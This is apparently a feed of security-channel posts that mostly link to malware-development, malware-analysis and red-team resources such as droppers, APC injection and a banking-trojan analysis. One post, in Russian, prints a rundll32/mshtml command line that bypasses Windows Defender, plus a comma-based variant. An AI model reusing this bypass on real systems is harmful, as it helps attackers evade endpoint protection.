how to create a thread pool using solely native Windows APIs to execute a work callback as well as a timer callback in C.

Link

#malware_dev
———
@islemolecule_source

An experimental, in-development, malicious software with RCE, and Data Exfiltration capabilities as a core.

Link
#malware_dev
———
@islemolecule_source

Learn to create Native Dropper
Link

#malware_dev
———
@islemolecule_source

Windows Process Internals : A few Concepts to know before jumping on Memory Forensics
credit : Kirtar Oza

https://web.archive.org/web/20201117183039/https://eforensicsmag.com/windows-process-internals-a-few-concepts-to-know-before-jumping-on-memory-forensics-by-kirtar-oza/

#windows_internls . #memory_forensics
———
@islemolecule_source

Rdtsc anti-debug instruction

Link

#malware_dev
#malware_analysis
———
@islemolecule_source

Red team road map
Intern / junior / medium / senior
Red team needed concepts

Credit : Sohiel Hashemi


https://xmind.app/m/9Zcnkq

#red_team ,

———
@islemolecule_source

How should I activate my Linux 🤔

Coyote: A multi-stage banking Trojan abusing the Squirrel installer
Link

#malware_analysis
———
@islemolecule_source

UwU theme for x64dbg

https://github.com/OALabs/uwudbg-theme

———
@islemolecule_source

We are preparing for Valentine's day. We are now known as vx-uwu

پیاده سازی APC Injection در C

Link

#malware_dev
———
@islemolecule_source

https://drive.google.com/drive/folders/0By8giYopjXKPYjJSTGFwZHR0RUU

#books
———
@islemolecule_source

Analyzing Mutation Coded VM Protect
Link

#packer
———
@islemolecule_source

Cracking the coding interview
#books
———
@islemolecule_source

Reverse engineering of Android Phoenix RAT

Analysis: link
Phoenix overview: link

#malware_analysis
———
@islemolecule_source

Windows Defender Detection Mitigation Bypass Vulnerability
Win LPE
В 2022 году hyp3rlinx рассказывал как можно обойти windows defender передав дополнительный путь при ссылке на mshtml, дырку пофиксили. НО, добавив пару запятых в старый трюк - и опять bypass.
*
то есть было и пофиксили:
C:\sec>rundll32.exe javanoscript:"\..\..\mshtml,RunHTMLApplication ";alert(666)
магия запятой:
C:\sec>rundll32.exe javanoscript:"\..\..\mshtml,,RunHTMLApplication ";alert(666)
собака старая, трюки новые.
CVE пока не имеет )

#defender #bypass

From CreateProcess() to NtCreateUserProcess()Link
Link

#malware_dev
———
@islemolecule_source

HOOKING 101

https://pdfs.semanticscholar.org/cb60/31f2d6eaa50d18a1ce5c648aa6c12e15fb23.pdf

#malware_dev
———
@islemolecule_source